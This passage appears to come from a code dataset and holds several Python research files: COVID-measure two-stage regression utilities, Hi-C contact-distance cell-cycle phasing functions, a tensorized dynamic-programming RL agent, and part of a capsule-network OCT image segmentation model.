y_test, first_stage_test,\n model,\n model_name,\n dic_results,\n train_dic_results,\n dic_results_mape,\n train_dic_results_mape):\n \n dic_results[model_name]= r2_score(first_stage_test + y_test, first_stage_test + model.predict(X_test))\n train_dic_results[model_name] = r2_score(first_stage_train + y_train, first_stage_train + model.predict(X_train))\n dic_results_mape[model_name]= mean_absolute_percentage_error(first_stage_test + y_test, first_stage_test + model.predict(X_test))\n train_dic_results_mape[model_name] = mean_absolute_percentage_error(first_stage_train + y_train, first_stage_train + model.predict(X_train))\n \n return dic_results, train_dic_results, dic_results_mape, train_dic_results_mape\n\ndef read_measures(path):\n measures = pd.read_csv(path)\n measures_names = ['EmergDec', 'SchoolClose', 'GathRestrict25', 'GathRestrictAny',\n 'OtherBusinessClose', 'RestaurantRestrict', 'GathRestrict10',\n 'CaseIsolation', 'StayAtHome', 'PublicMask', 'Quarantine',\n 'NEBusinessClose', 'TravelRestrictIntra', 'GathRestrict50',\n 'BusinessHealthSafety', 'GathRestrict250', 'GathRecomAny',\n 'GathRestrict1000', 'TravelRestrictExit', 'TravelRestrictEntry',\n 'GathRestrict100', 'GathRestrict5', 'GathRestrict500']\n\n measures = measures.loc[:, ['state', 'date'] + measures_names]\n measures['date'] = measures['date'].apply(lambda x: datetime.strptime(x, '%Y-%m-%d'))\n measures = measures.groupby(['state', 'date']).last().reset_index()\n return(measures, measures_names)\n\ndef print_results(X_train, y_train, first_stage_train, X_test, y_test, first_stage_test,\n predictions_train, predictions_test):\n \n print('First stage In-Sample R2: ' + str(r2_score(\n first_stage_train + y_train, first_stage_train)))\n print('First stage Out-of-Sample R2: ' + str(r2_score(\n first_stage_test + y_test, first_stage_test)))\n print('First stage In-Sample MAPE: ' + str(mean_absolute_percentage_error(\n first_stage_train + y_train, first_stage_train)))\n print('First stage Out-of-Sample MAPE: ' + str(mean_absolute_percentage_error(\n first_stage_test + y_test, first_stage_test)))\n \n print('Aggregated two-stage state model In-Sample R2: ' + str(r2_score(\n first_stage_train + y_train, first_stage_train + predictions_train)))\n print('Aggregated two-stage state model Out-of-Sample R2: ' + str(r2_score(\n first_stage_test + y_test, first_stage_test + predictions_test)))\n print('Aggregated two-stage state model In-Sample MAPE: ' + str(mean_absolute_percentage_error(\n first_stage_train + y_train, first_stage_train + predictions_train)))\n print('Aggregated two-stage state model Out-of-Sample MAPE: ' + str(mean_absolute_percentage_error(\n first_stage_test + y_test, first_stage_test + predictions_test)))\n\ndef plot_results(output, state, model, train_date):\n if state is not None:\n df_st = output.query('State == @state')\n else:\n df_st = output.groupby('Date')[['True', model, model + ' + ML']].sum().reset_index()\n plt.plot(df_st['Date'], df_st['True'], label= 'True value')\n plt.plot(df_st['Date'], df_st[model], label= '1-stage ' + model + ' model')\n plt.plot(df_st['Date'], df_st[model + ' + ML'], label= '2-stage ' + model + ' model')\n plt.axvline(x=train_date, linestyle='--', color='red')\n plt.xticks(rotation=45)\n plt.legend()\n print('1-stage ' + model + ' model In-Sample MAPE: ' + str(mean_absolute_percentage_error(df_st[df_st['Date'] <= train_date]['True'], df_st[df_st['Date'] <= train_date][model])))\n print('2-stage ' + model + ' model In-Sample MAPE: ' + str(mean_absolute_percentage_error(df_st[df_st['Date'] <= train_date]['True'], df_st[df_st['Date'] <= train_date][model + ' + ML'])))\n print('1-stage ' + model + ' model Out-of-Sample MAPE: ' + str(mean_absolute_percentage_error(df_st[df_st['Date'] > train_date]['True'], df_st[df_st['Date'] > train_date][model])))\n print('2-stage ' + model + ' model Out-of-Sample MAPE: ' + str(mean_absolute_percentage_error(df_st[df_st['Date'] > train_date]['True'], df_st[df_st['Date'] > train_date][model + ' + ML'])))\n\n#############################################################################\n \n############################################################################# \n############# Second-stage wrapper implementation\ndef second_stage(X_train, y_train, first_stage_train, # y should be equal to true value - first-stage value\n X_test, y_test, first_stage_test,\n ml_models=['lin', 'elastic', 'cart', 'rf', 'xgb', 'xst', 'linear_svm', 'kernel_svm'],\n params=None):\n \n if params is None:\n params={}\n params['xgb'] = {'gamma': [1, 5], 'max_depth': [3, 5]}\n params['cart'] = {'max_depth': [3, 5, 10, None]}\n params['rf'] = {'max_depth': [3, 5, 10, None], 'min_samples_leaf': [1, 2, 5]}\n params['xst'] = {'max_depth': [3], 'min_samples_leaf': [2], 'nearest_leaves_k': [5]}\n \n dic_results = {}\n train_dic_results = {}\n dic_results_mape = {}\n train_dic_results_mape = {}\n model_dict = {}\n\n ml_mapping = {}\n ml_mapping['lin'] = [LinearRegression(), False]\n ml_mapping['elastic'] = [ElasticNetCV(), False]\n ml_mapping['xgb'] = [XGBRegressor(learning_rate=0.05, n_estimators=100, silent=True), True]\n ml_mapping['cart'] = [DecisionTreeRegressor(), True]\n ml_mapping['rf'] = [RandomForestRegressor(), True]\n ml_mapping['linear_svm'] = [LinearSVR(), False]\n ml_mapping['kernel_svm'] = [SVR(gamma='auto'), False]\n \n if 'xst' in ml_models:\n from XSTrees_v2 import XSTreesRegressor\n ml_mapping['xst'] = [XSTreesRegressor(n_estimators=100, n_sampled_trees=100), True]\n \n dic_results['first_stage']= r2_score(first_stage_test + y_test, first_stage_test)\n train_dic_results['first_stage'] = r2_score(first_stage_train + y_train, first_stage_train)\n dic_results_mape['first_stage']= mean_absolute_percentage_error(first_stage_test + y_test, first_stage_test)\n train_dic_results_mape['first_stage'] = mean_absolute_percentage_error(first_stage_train + y_train, first_stage_train)\n \n for model_name in ml_mapping.keys():\n if model_name in ml_models:\n if ml_mapping[model_name][1]:\n model = GridSearchCV(ml_mapping[model_name][0], params[model_name])\n else:\n model = ml_mapping[model_name][0]\n \n model.fit(X_train, y_train)\n model_dict[model_name] = model\n dic_results, train_dic_results, dic_results_mape, train_dic_results_mape = update_results(X_train, y_train, first_stage_train, # y should be equal to true value - first-stage value\n X_test, y_test, first_stage_test,\n model,\n model_name,\n dic_results,\n train_dic_results,\n dic_results_mape,\n train_dic_results_mape)\n \n output = {'Model': list(dic_results.keys()),\n 'In-Sample R2': [100*train_dic_results[i] for i in list(dic_results.keys())],\n 'Out-of-Sample R2': [100*dic_results[i] for i in list(dic_results.keys())],\n 'In-Sample MAPE': [100*train_dic_results_mape[i] for i in list(dic_results.keys())],\n 'Out-of-Sample MAPE': [100*dic_results_mape[i] for i in list(dic_results.keys())]}\n\n pd.options.display.float_format = \"{:.2f}\".format\n dfp = pd.DataFrame(output)\n return(dfp, model_dict)\n\n############# Second-stage training\ndef train_state_models(df, all_states, features, true, predicted, ml_models):\n all_models = {}\n for state in all_states:\n df_st = df.query('state == @state').sort_values('date')\n # Split into training and testing\n df_train, df_test = train_test_split(df_st, test_size=0.33, shuffle=False)\n X_train, y_train, first_stage_train = df_train.loc[:, features], df_train[true] - df_train[predicted], df_train[predicted]\n X_test, y_test, first_stage_test = df_test.loc[:, features], df_test[true] - df_test[predicted], df_test[predicted]\n \n X_train, y_train, first_stage_train = np.array(X_train), np.array(y_train), np.array(first_stage_train)\n X_test, y_test, first_stage_test = np.array(X_test), np.array(y_test), np.array(first_stage_test)\n \n # Automatically get results for the second stage (combined)\n ## 'results' is the table summarizing the results\n ## 'model_dict' is the dictionary containing all the trained models.\n ## e.g. model_dict['lin'] is the trained linear model\n results, model_dict = second_stage(X_train, y_train, first_stage_train,\n X_test, y_test, first_stage_test,\n ml_models=ml_models)\n results = results.iloc[1:, :]\n all_models[state] = model_dict[results.loc[\n results['Out-of-Sample MAPE'].idxmin(), 'Model']]\n print(state + ' done')\n return(all_models)\n#############################################################################\n\n#############################################################################\n############# Aggregation helper functions for the per-state models\ndef agg_predict(X_agg, all_models):\n X_st = X_agg[0]\n X_rt = np.array(X_agg[1:])\n return all_models[X_st].predict(X_rt.reshape(1, -1))[0]\n\ndef matrix_agg_predict(X_total, all_models):\n n, p = X_total.shape\n predictions = [agg_predict(X_total[i, :], all_models) for i in range(n)]\n return predictions\n#############################################################################","sub_path":"code/twostage_utils.py","file_name":"twostage_utils.py","file_ext":"py","file_size_in_byte":12653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"58896717","text":"import pandas as pd\nimport os\nimport gzip\nfrom concurrent import futures\nfrom hires_utils.hires_utils.hires_io import divide_name\n\ndef window_count(distances:pd.DataFrame, win_num)->pd.Series:\n # count distribution of distance array\n windows = pd.Series([1000*2**(0.125*i) for i in range(0, win_num)]) # Peter's window\n window_count = []\n for index, point in enumerate(windows):\n if index == 0:\n count = len(distances[distances < point])\n elif index == win_num - 1:\n count = len(distances[distances >= point])\n else:\n count = len(distances[(distances >= point) & (distances < windows[index + 1])])\n window_count.append(count)\n window_count = pd.Series(window_count)\n window_count.index = range(1,win_num+1)\n # normalized by all intra contacts\n return window_count/len(distances)\ndef window_count_ratio_normed(distances:pd.DataFrame, win_num)->pd.Series:\n # count distribution of distance array\n windows = pd.Series([1000*2**(0.125*i) for i in range(0, win_num)]) # Peter's window\n window_count = []\n for index, point in enumerate(windows):\n if index == 0:\n count = len(distances[distances < point])\n elif index == win_num - 1:\n count = len(distances[distances >= point])\n else:\n count = len(distances[(distances >= point) & (distances < windows[index + 1])])\n window_count.append(count)\n window_count = pd.Series(window_count)\n window_count.index = range(1,win_num+1)\n # normalized by all intra contacts\n return window_count/len(distances)\ndef peter_dis_counts(cell_name:str, parser:\"func\") -> pd.Series: \n # get cell's intra contact's distribution in Peter's window\n # using customized .pairs parser\n contacts = parser(cell_name)\n\n # get contact distance array\n intra = contacts.query(\"chr1 == chr2\")\n distances = abs(intra[\"pos1\"] - intra[\"pos2\"])\n # count according to Peter's window\n counts = window_count(distances, 150)\n counts.name = cell_name\n #return counts\n return counts.reindex(range(38,151)) # only show 38-150\n# walk around for jupyter's bug on 2nd layer function\ndef hap_dis_counts(cell_name:str):\n # work for 9 column table only\n # get cell's intra contact's distribution in Peter's window\n # using customized .pairs parser\n contacts = pd.read_table(cell_name, header=None, comment=\"#\")\n contacts.columns = \"readID chr1 pos1 chr2 pos2 strand1 strand2\".split()\n\n # get contact distance array\n intra = contacts.query(\"chr1 == chr2\")\n distances = abs(intra[\"pos1\"] - intra[\"pos2\"])\n # count according to Peter's window\n counts = window_count(distances, 150)\n counts.name = cell_name\n #counts.reindex(range(38,151))\n return counts.reindex(range(38,151)) # only show 38-150\ndef pairs_dis_counts(cell_name:str):\n # work for 11 column table only\n # get cell's intra contact's distribution in Peter's window\n # using customized .pairs parser\n contacts = pd.read_table(cell_name, header=None, comment=\"#\")\n contacts.columns = \"readID chr1 pos1 chr2 pos2 strand1 strand2 phase0 phase1\".split()\n\n # get contact distance array\n intra = contacts.query(\"chr1 == chr2\")\n distances = abs(intra[\"pos1\"] - intra[\"pos2\"])\n # count according to Peter's window\n counts = window_count(distances, 150)\n counts.name = cell_name\n #return counts\n return counts.reindex(range(38,151)) # only show 38-150\n\ndef G1_attrs_pairs(cell_name:str) -> pd.Series:\n # get cell's %near and farAvgDist\n \n ## get cell's intra contact's distance array \n contacts = pd.read_table(cell_name, header=None, comment=\"#\")\n contacts.columns = \"readID chr1 pos1 chr2 pos2 strand1 strand2 phas0 phase1\".split()\n intra = contacts.query(\"chr1 == chr2\")\n distances = abs(intra[\"pos1\"] - intra[\"pos2\"])\n counts = window_count(distances, 150)\n \n all_ = counts.reindex(range(38,151)).sum() # all VALID bins, 1-37 are discarded, bin 38-150\n near = counts.reindex(range(38,90)).sum() # bin 38-89\n mitotic = counts.reindex(range(90,130)).sum() # bin 90-109\n #far = counts.reindex(range(98, 151)).sum() # bin >= 98\n \n #farAvgDist = distances[distances < 4096000.0].mean() #mean contact distance considering bins >= 98\n #result = pd.Series({\"near_p\":near/all_*100, \"farAvgDist\":farAvgDist})\n result = pd.Series({\"near_p\":near/all_*100, \"mitotic\":mitotic/all_*100})\n result.name = cell_name\n \n return result\ndef contact_describe(cell_name:str) -> pd.Series:\n # get cell's basic statistics, defined in Nagano2017\n contacts = parse_pairs(cell_name)\n intra = contacts.query(' chr1 == chr2 ')\n distances = abs(intra[\"pos1\"] - intra[\"pos2\"])\n \n all_ = len(distances[23_000 < distances])\n short = len(distances[(23_000 < distances) & (distances < 2_000_000)])\n mitotic = len(distances[(2_000_000 < distances) & (distances < 12_000_000)])\n farAvg = distances[(4_500_000 < distances) & (distances < 225_000_000)]\n \n mitotic_r = mitotic/all_\n short_r = short/all_\n \n # assign to different stages on Peter's cirtera\n if mitotic_r >= 0.3 and short_r <= 0.5:\n group = \"Post-M\"\n elif short_r > 0.5 and short_r + 1.8*mitotic_r > 1.0:\n group = \"Pre-M\"\n elif short_r <= 0.63:\n group = \"G1\"\n elif 0.63 < short_r <= 0.785:\n group = \"early-S\"\n elif short_r > 0.785:\n group = \"late-S/G2\"\n else:\n group = \"blank\"\n \n return pd.Series({\"short%\":short_r, \"mitotic%\":mitotic_r, \"farAvg\":farAvg.mean(),\"group\":group })\ndef collect(meta:pd.DataFrame, name_col:str, file_col:str, func:\"callable\", threads)->pd.DataFrame:\n # get cons for cells in dir\n file_names = meta[file_col]\n with futures.ProcessPoolExecutor(threads) as pool:\n res = pool.map(func, file_names)\n result = pd.concat(res, axis=1)\n result.columns = meta[name_col]\n return result\ndef parse_pairs(filename:str)->\"Cell\":\n '''\n read from 4DN's standard .pairs format\n compatible with all hickit originated pairs-like format \n '''\n #comment lines are stored in dataframe.attrs[\"comment\"]\n name_array = \"readID chr1 pos1 chr2 pos2 strand1 strand2 phase0 phase1 phase_prob00 phase_prob01 phase_prob10 phase_prob11\".split()\n #read comment line\n with gzip.open(filename,\"rt\") as f:\n comments = []\n for line in f.readlines():\n if line[0] != \"#\":\n break\n comments.append(line)\n #read table format data\n pairs = pd.read_table(filename, header=None, comment=\"#\",low_memory=False)\n pairs.attrs[\"comments\"] = comments\n pairs.attrs[\"name\"], _ = divide_name(filename) # get real sample name\n #assign column names\n pairs.columns = name_array[0:pairs.shape[1]]\n #sys.stderr.write(\"pairs_parser: %s parsed \\n\" % filename)\n return pairs\ndef dis_counts(cell_name:str):\n # work for 11 column table only\n # get cell's intra contact's distribution in Peter's window\n # using customized .pairs parser\n contacts = parse_pairs(cell_name)\n\n # get contact distance array\n intra = contacts.query(\"chr1 == chr2\")\n distances = abs(intra[\"pos1\"] - intra[\"pos2\"])\n # count according to Peter's window\n counts = window_count(distances, 150)\n counts.name = cell_name\n #return counts\n return counts.reindex(range(38,151)) # only show 38-150","sub_path":"cycle_phasing.py","file_name":"cycle_phasing.py","file_ext":"py","file_size_in_byte":7405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"650317267","text":"import numpy as np\n\n\nclass TensorDP:\n def __init__(self, gamma=1.0, error_tol=1e-5):\n self.gamma = gamma\n self.error_tol = error_tol\n\n # Following attributes will be set after call \"set_env()\"\n\n self.env = None # environment\n self.policy = None # policy\n self.ns = None # Num. states\n self.na = None # Num. actions\n self.P = None # Transition tensor\n self.R = None # Reward tensor\n\n def set_env(self, env, policy=None):\n self.env = env\n if policy is None:\n self.policy = np.ones([env.nS, env.nA]) / env.nA\n\n self.ns = env.nS\n self.na = env.nA\n self.P = (\n env.P_tensor\n ) # Rank 3 tensor [num. actions x num. states x num. states]\n self.R = env.R_tensor # Rank 2 tensor [num. actions x num. states]\n\n print(\"Tensor DP agent initialized\")\n print(\n \"Environment spec: Num. state = {} | Num. actions = {} \".format(\n env.nS, env.nA\n )\n )\n\n def reset_policy(self):\n self.policy = np.ones([self.ns, self.na]) / self.na\n\n def set_policy(self, policy):\n assert self.policy.shape == policy.shape\n self.policy = policy\n\n def get_r_pi(self, policy):\n r_pi = (policy * self.R).sum(axis=-1) # [num. states x 1]\n return r_pi\n\n def get_p_pi(self, policy):\n p_pi = np.einsum(\"na,anm->nm\", policy, self.P) # [num. states x num. states]\n return p_pi\n\n def policy_evaluation(self, policy=None, v_init=None):\n \"\"\"\n :param policy: policy to evaluate (optional)\n :param v_init: initial value 'guesstimation' (optional)\n :param steps: steps of bellman expectation backup (optional)\n if none, repeat the backup until converge.\n :return: v_pi: value function of the input policy\n \"\"\"\n if policy is None:\n policy = self.policy\n\n r_pi = self.get_r_pi(policy) # [num. states x 1]\n p_pi = self.get_p_pi(policy) # [num. states x num. states]\n\n if v_init is None:\n v_old = np.zeros(self.ns)\n else:\n v_old = v_init\n\n while True:\n # perform bellman expectation back\n v_new = r_pi + self.gamma * np.matmul(p_pi, v_old)\n\n # check convergence\n bellman_error = np.linalg.norm(v_new - v_old)\n if bellman_error <= self.error_tol:\n break\n else:\n v_old = v_new\n\n return v_new\n\n def policy_improvement(self, policy=None, v_pi=None):\n if policy is None:\n policy = self.policy\n\n if v_pi is None:\n v_pi = self.policy_evaluation(policy)\n\n # Compute Q_pi(s,a) from V_pi(s)\n r_pi = self.get_r_pi(policy)\n q_pi = r_pi + self.P.dot(v_pi) # q_pi = [num.action x num states]\n\n # Greedy improvement\n policy_improved = np.zeros_like(policy)\n policy_improved[np.arange(q_pi.shape[1]), q_pi.argmax(axis=0)] = 1\n return policy_improved\n\n def policy_iteration(self, policy=None):\n if policy is None:\n pi_old = self.policy\n else:\n pi_old = policy\n\n info = dict()\n info[\"v\"] = list()\n info[\"pi\"] = list()\n info[\"converge\"] = None\n\n steps = 0\n converged = False\n while True:\n v_old = self.policy_evaluation(pi_old)\n pi_improved = self.policy_improvement(pi_old, v_old)\n steps += 1\n\n info[\"v\"].append(v_old)\n info[\"pi\"].append(pi_old)\n\n # check convergence\n policy_gap = np.linalg.norm(pi_improved - pi_old)\n\n if policy_gap <= self.error_tol:\n if not converged: # record the first moment of within error tolerance.\n info[\"converge\"] = steps\n break\n else:\n pi_old = pi_improved\n return info\n\n def value_iteration(self, v_init=None, compute_pi=False):\n \"\"\"\n :param v_init: (np.array) initial value 'guesstimation' (optional)\n :param compute_pi: (bool) compute policy during VI\n :return: v_opt: the optimal value function\n \"\"\"\n\n if v_init is not None:\n v_old = v_init\n else:\n v_old = np.zeros(self.ns)\n\n info = dict()\n info[\"v\"] = list()\n info[\"pi\"] = list()\n info[\"converge\"] = None\n\n steps = 0\n converged = False\n\n while True:\n # Bellman optimality backup\n v_improved = (self.R.T + self.gamma * self.P.dot(v_old)).max(axis=0)\n info[\"v\"].append(v_improved)\n\n if compute_pi:\n # compute policy from v\n # 1) Compute v -> q\n q_pi = self.R.T + self.gamma * self.P.dot(v_improved)\n\n # 2) Construct greedy policy\n pi = np.zeros_like(self.policy)\n pi[np.arange(q_pi.shape[1]), q_pi.argmax(axis=0)] = 1\n info[\"pi\"].append(pi)\n\n steps += 1\n\n # check convergence\n policy_gap = np.linalg.norm(v_improved - v_old)\n\n if policy_gap <= self.error_tol:\n if not converged: # record the first moment of within error tolerance.\n info[\"converge\"] = steps\n break\n else:\n v_old = v_improved\n return info\n","sub_path":"rl_fastcampus/src/lib/tensorized_dp.py","file_name":"tensorized_dp.py","file_ext":"py","file_size_in_byte":5466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"120074159","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Dec 21 15:07:19 2018\n\n@author: arjunbalaji\n\"\"\"\n\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Oct 19 16:45:12 2018\n\n@author: arjun\n\"\"\"\n\n#caps net idea for oct lumen profiler \n#not worked on yet\n#this iteration of code runs a conv capsule idea\n\nimport numpy as np\nimport os\nimport torch \nfrom torch.utils.data import Dataset, DataLoader\nimport torch.optim as optim\nfrom torch.autograd import Variable\nimport time \nimport matplotlib.pyplot as plt\nimport shutil\nfrom sklearn import preprocessing\nfrom skimage.transform import resize\nfrom matplotlib import pyplot\n\n\n#start_time = time.time()\n\nos.chdir('..')\n#print(os.getcwd())\n\n\ndef get_image(main_data_dir, name, image_type):\n this_data_path = os.path.join(main_data_dir, image_type)\n return np.genfromtxt(os.path.join(this_data_path, name), delimiter = ',')\n\n###############################################################################\n#need this special squash function for caps net\n\ndef squash(s, axis = -1, epsilon = 1e-7):\n squared_norm = torch.sum(s*s, dim = axis)\n\n safe_norm = torch.sqrt(squared_norm + epsilon)\n\n squash_factor = squared_norm / (1. + squared_norm)\n \n #the unsqueeze here is very important!\n #for safe norm to be broadcasted appropriately \n unit_vector = torch.div(s, safe_norm.unsqueeze(-1))\n \n #for squash factor to be broadcasted appropriately \n return torch.mul(squash_factor.unsqueeze(-1), unit_vector)\n\n###############################################################################\n#dataset class\nclass OCTDataset(Dataset):\n \"\"\"\n First we create a dataset that will encapsulate our data. It has 3 special \n functions which will be explained as they go. We will pass this dataset object\n to the torch dataloader object later which will make training easier.\n \"\"\"\n def __init__ (self,\n main_data_dir,\n start_size,\n transform = None):\n self.main_data_dir = main_data_dir\n self.start_size = start_size\n self.transform = transform\n \n #iterate through the 2d images and get all their names\n name_list = []\n for im in os.listdir(os.path.join(self.main_data_dir, 'OG_IMAGES')):\n filename = os.fsdecode(im)\n name_list.append(filename)\n \n self.name_list = name_list\n \n \n def __getitem__(self, idx):\n \"\"\"This function will allow us to index the data object and it will \n return a sample.\"\"\"\n name = self.name_list[idx]\n \n #label\n #TL = get_image(name, 'TL')\n #FL = get_image(name, 'FL')\n #ILT = get_image(name, 'ILT') \n #print(self.main_data_dir, name, 'FILLED_OBJECTIVE')\n label = get_image(self.main_data_dir, name, 'FILLED_OBJECTIVE')\n \n #this bit is hacky, but YOLO its to make the capsnet output shape match\n # the label shape \n \n #label = label[2:-2]\n #label = label[:][:-1]\n #image data and filters\n\n image = get_image(self.main_data_dir, name, 'OG_IMAGES')\n double_filter = get_image(self.main_data_dir, name, 'DOUBLE_FILTER')\n long_grad = get_image(self.main_data_dir, name, 'LONG_GRAD')\n \n \n image = resize(image, output_shape = self.start_size)\n double_filter = resize(double_filter, output_shape = self.start_size)\n long_grad = resize(long_grad, output_shape = self.start_size)\n \n label = resize(label, output_shape = self.start_size)\n \n \n image = preprocessing.scale(image)\n #og = preprocessing.MinMaxScaler(og)\n image = image\n \n \n sample = {'input': torch.cat((torch.tensor(image).unsqueeze(0),\n torch.tensor(double_filter).unsqueeze(0),\n torch.tensor(long_grad).unsqueeze(0))),\n 'label': torch.tensor(label),\n 'case_name': name}\n\n return sample\n \n def __len__(self): \n \"\"\"This function is mandated by Pytorch and allows us to see how many \n data points we have in our dataset\"\"\"\n return len(self.name_list)\n\n###############################################################################\nclass Get_Primary_Caps(torch.nn.Module):\n \"\"\"This is the primary caps block. It takes in an input image of 1 channel\n and 512x512 pixels and outputs a caps1_n_caps primary caps each which is a\n caps1_n_dims dimensional vector. there is work to be done here so that \n the numbers all make themselves work. at the moment you have to carefully \n check each one to make sure the model runs\"\"\"\n def __init__(self, caps1_n_maps,\n caps1_caps_grid_ydim,\n caps1_caps_grid_xdim,\n caps1_n_dims):\n super(Get_Primary_Caps, self).__init__()\n self.caps1_n_maps = caps1_n_maps \n self.caps1_caps_grid_ydim = caps1_caps_grid_ydim\n self.caps1_caps_grid_xdim = caps1_caps_grid_xdim\n self.caps1_n_dims = caps1_n_dims \n \n self.relu = torch.nn.ReLU()\n \n #these must be calculated from the input shape and the convs we use!!!\n #this is so important dont get it wrong \n #O = (W - K - 2P)/S +1\n \n conv1_parameters = {'i': 3, 'o': 32, 'k': (2, 2), 's': 2}\n self.conv1 = torch.nn.Conv2d(in_channels=conv1_parameters['i'],\n out_channels=conv1_parameters['o'],\n kernel_size=conv1_parameters['k'],\n stride=conv1_parameters['s'])\n \n \n conv2_parameters = {'i': 32, 'o': self.caps1_n_dims * self.caps1_n_maps, 'k': 2, 's': 2}\n self.conv2 = torch.nn.Conv2d(in_channels=conv2_parameters['i'],\n out_channels=conv2_parameters['o'],\n kernel_size=conv2_parameters['k'],\n stride=conv2_parameters['s'])\n \n \n def output_params(self):\n return {'maps out': self.caps1_n_maps,\n 'caps dim': self.caps1_n_dims,\n 'h': self.caps1_caps_grid_ydim,\n 'w': self.caps1_caps_grid_xdim}\n \n def forward(self, x):\n #print(x.size())\n x = self.conv1(x)\n #print(x.size())\n x = self.relu(x)\n x = self.conv2(x)\n #print(x.size())\n x = self.relu(x)\n \n '''\n THIS IS IMPORTANT !!!!!!!!!!!!!!!!!!\n if we just went ;\n x = x.view([-1,\n self.caps1_n_maps,\n self.caps1_caps_grid_ydim, \n self.caps1_caps_grid_xdim,\n self.caps1_n_dims])\n then pytorch replicates the images and you get this weird ass grid. \n so instead we view it as below, then transpose the axes till we get \n what we want\n '''\n x = x.view([-1,\n self.caps1_n_maps,\n self.caps1_n_dims,\n self.caps1_caps_grid_ydim, \n self.caps1_caps_grid_xdim])\n #x = torch.transpose(x, 3, 4)\n #x = torch.transpose(x, 2, -1)\n x = x.permute(0, 1, 3, 4, 2)\n #x = squash(x)\n return x\n\n###############################################################################\nclass Get_Abstract_Caps_Down(torch.nn.Module):\n \"\"\"This is the abstract caps layer. We take in an input of the capsules\n of the previous layer and then output predictions of abstract capsules.\"\"\"\n def __init__(self, \n batch_size,\n capsin_n_maps,\n capsin_n_dims,\n capsout_n_maps,\n capsout_n_dims,\n old_h,\n old_w,\n y_kernel,\n x_kernel,\n stride,\n padding,\n across = True):\n super(Get_Abstract_Caps_Down, self).__init__()\n \n self.batch_size = batch_size\n self.capsin_n_dims = capsin_n_dims\n self.capsin_n_maps = capsin_n_maps \n self.capsout_n_maps = capsout_n_maps \n self.capsout_n_dims = capsout_n_dims\n \n self.old_h = old_h\n self.old_w = old_w\n self.y_kernel = y_kernel\n self.x_kernel = x_kernel\n self.stride = stride\n self.padding = padding\n self.across = across\n '''\n #this is our weight matrix that goes into our conv layer to get \n #prediction vectors\n self.W = torch.nn.Parameter(torch.Tensor(self.capsout_n_maps * self.capsout_n_dims,\n self.capsin_n_maps,\n self.y_kernel,\n self.x_kernel))\n '''\n #this is a SPECIAL BIAS! it doesnt go into our conv opertaion\n #we replicate it later and use it for the caps\n self.bias = torch.nn.Parameter(torch.Tensor(1,\n self.capsout_n_maps,\n 1,\n 1,\n self.capsout_n_dims)) \n \n self.reset_parameters()\n \n #self.predict_vectors = Predict_Vectors_Down(self.W, self.bias)\n self.capsconv2d_down = torch.nn.Conv2d(in_channels = self.capsin_n_maps*self.capsin_n_dims,\n out_channels = self.capsout_n_maps*self.capsout_n_dims,\n kernel_size = (self.y_kernel, self.x_kernel),\n stride = self.stride,\n padding = self.padding,\n bias = True)\n '''\n if self.across:\n self.capsconv2d_across = torch.nn.Conv2d(in_channels = self.capsout_n_maps*self.capsout_n_dims,\n out_channels = self.capsin_n_maps*self.capsout_n_maps*self.capsout_n_dims,\n kernel_size = 1,\n stride = 1,\n padding = 0,\n bias = False)\n '''\n \n #calculate final prediction heights and widths for routing\n self.new_hl = (self.old_h - self.y_kernel + 2*self.padding)/self.stride + 1\n #self.new_hl = (self.new_hl - 1 + 0) / 1 + 1\n \n self.new_wl = (self.old_w - self.x_kernel + 2*self.padding)/self.stride + 1\n #self.new_wl = (self.new_wl - 1 + 0) / 1 + 1\n \n #init routing algorithm\n self.routing = Agreement_Routing_Down(bias=self.bias,\n input_caps_maps = self.capsin_n_maps,\n input_caps_dim = self.capsin_n_dims,\n output_caps_maps = self.capsout_n_maps,\n output_caps_dim = self.capsout_n_dims,\n new_hl = self.new_hl,\n new_wl = self.new_wl,\n num_iterations = 2)\n\n def infer_shapes(self):\n return {'caps maps': self.capsout_n_maps,\n 'caps dims': self.capsout_n_dims,\n 'h': self.new_hl,\n 'w': self.new_wl}\n \n def reset_parameters(self):\n stdv = 1. / np.sqrt(self.capsin_n_maps)\n #self.W.data.uniform_(-stdv, stdv)\n self.bias.data.uniform_(-stdv, stdv)\n\n def forward(self, x):\n #print('no we doing abstract caps1')\n #print(self.W.size(), 'weight size')\n #print(self.bias.size(), 'bias size')\n #print(x.size(), 'caps before conv capsule preds' )\n #x = self.predict_vectors(primary_caps)\n #print(self.new_hl)\n batch, input_maps, hold, wold, input_capdims = x.size()\n \n #these bits are becaause of the view 'replication' issue i was having \n #print(batch, input_maps, hold, wold, input_capdims)\n #x = torch.transpose(x, -1, 2)\n #x = torch.transpose(x, 3, 4)\n x = x.permute(0, 1, 4, 2, 3)\n #print(x.size())\n \n x = x.contiguous().view([-1,\n input_maps * input_capdims,\n hold,\n wold])\n \n x = self.capsconv2d_down(x)\n #print(x.size(), 'after down conv')\n \n #if self.across:\n # x = self.capsconv2d_across(x)\n #print(x.size(), 'after across conv')\n \n _, _, hnew, wnew = x.size()\n \n #view issue\n x = x.view([batch,\n self.capsout_n_maps,\n self.capsout_n_dims,\n hnew,\n wnew,\n -1])\n \n x = x.permute(0, 1, 3, 4, 5, 2)\n #print(x.size())\n '''\n x = x.view([batch,\n self.capsout_n_maps,\n hnew,\n wnew,\n -1,\n self.capsout_n_dims])\n '''\n #print(x.size(), 'resizing to normal')\n \n x = self.routing(x)\n \n return x\n\n###############################################################################\n\nclass Agreement_Routing_Down(torch.nn.Module):\n \"\"\"This is the localised agreement routing algorithm. It takes in the total\n prediction vectors from a layer l and computes the routing weights for \n those predictions. It then squashes the prediction vectors using the \n custom squash function.\"\"\"\n def __init__(self, bias,\n input_caps_maps,\n input_caps_dim,\n output_caps_maps,\n output_caps_dim,\n new_hl,\n new_wl,\n num_iterations):\n super(Agreement_Routing_Down, self).__init__()\n \n self.input_caps_maps = input_caps_maps\n self.input_caps_dim = input_caps_dim\n self.output_caps_maps = output_caps_maps\n self.output_caps_dim = output_caps_dim \n self.new_hl = int(new_hl)\n self.new_wl = int(new_wl)\n self.num_iterations = num_iterations \n self.softmax = torch.nn.Softmax(dim = -1)\n self.bias = bias.repeat((1, 1, self.new_hl, self.new_wl, 1))\n \n '''\n self.b = 